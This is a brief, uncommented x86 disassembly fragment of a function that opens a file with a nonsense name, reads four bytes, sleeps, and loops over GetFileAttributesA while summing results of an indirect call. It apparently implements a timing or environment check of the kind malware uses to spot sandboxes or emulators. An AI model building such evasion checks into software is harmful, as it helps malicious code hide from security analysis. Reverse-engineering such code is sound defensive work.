push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131541e4
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154212
call ebp
add eax, ebx
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc ebx
cmp ebx, 0xd
jl 0x131541f4
xor eax, eax
inc eax
mov ecx, dword [esp + 0x8c24]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1315574a
add esp, 0x8c18
ret